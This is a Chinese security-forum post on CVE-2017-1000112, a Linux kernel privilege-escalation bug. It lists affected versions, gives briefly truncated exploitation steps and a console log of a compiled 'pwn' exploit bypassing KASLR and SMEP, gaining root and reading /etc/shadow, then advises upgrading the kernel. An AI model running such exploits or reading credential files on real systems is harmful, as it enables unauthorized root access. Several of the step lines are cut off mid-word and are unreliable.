Linux内核逃逸漏洞CVE-2017-1000112

图片[1]-Linux内核逃逸漏洞CVE-2017-1000112-山海云端论坛

影响范围:
Linux Kernel < 4.12.3

漏洞类型:本地权限

利用条件:影响范围

漏洞简介:该漏洞源于Linux内核中UDP碎片卸载(UFO)代码的内存损坏问题,可能导致攻击者在本地升级特权。

漏洞利用步骤:

第 1 步:编译POC攻击者需先编译一个专门用于利用漏洞的POC

第 2 步:复制PO

第 3 步:测试ifconfig命

Step 4:执行载荷完成逃逸在攻击者的本地环境中,通过执行特定的载荷,成功完成本地特权的提升。

测试环境:在Ubuntu trusty 4.4.0-*和Ubuntu xenial 4

使用说明:


Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.

Usage:
user@ubuntu:~$ uname -a
Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ whoami
user
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
user@ubuntu:~$ gcc pwn.c -o pwn
user@ubuntu:~$ ./pwn 
[.] starting
[.] checking distro and kernel versions
[.] kernel version '4.8.0-58-generic' detected
[~] done, versions looks good
[.] checking SMEP and SMAP
[~] done, looks good
[.] setting up namespace sandbox
[~] done, namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[~] done, kernel text:   ffffffffae400000
[.] commit_creds:        ffffffffae4a5d20
[.] prepare_kernel_cred: ffffffffae4a6110
[.] SMEP bypass enabled, mmapping fake stack
[~] done, fake stack mmapped
[.] executing payload ffffffffae40008d
[~] done, should be root now
[.] checking if we got root
[+] got r00t ^_^
root@ubuntu:/home/user# whoami
root
root@ubuntu:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/user# cat /etc/shadow
root:!:17246:0:99999:7:::
daemon:*:17212:0:99999:7:::
bin:*:17212:0:99999:7:::
sys:*:17212:0:99999:7:::

演示视频: https://youtu.be/GupI5nUgQ9I

安全建议:建议及时升级内核版本,以规避潜在风险。

参考连接: https://capsule8.com/blog/practical-container-escape-exercise/

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容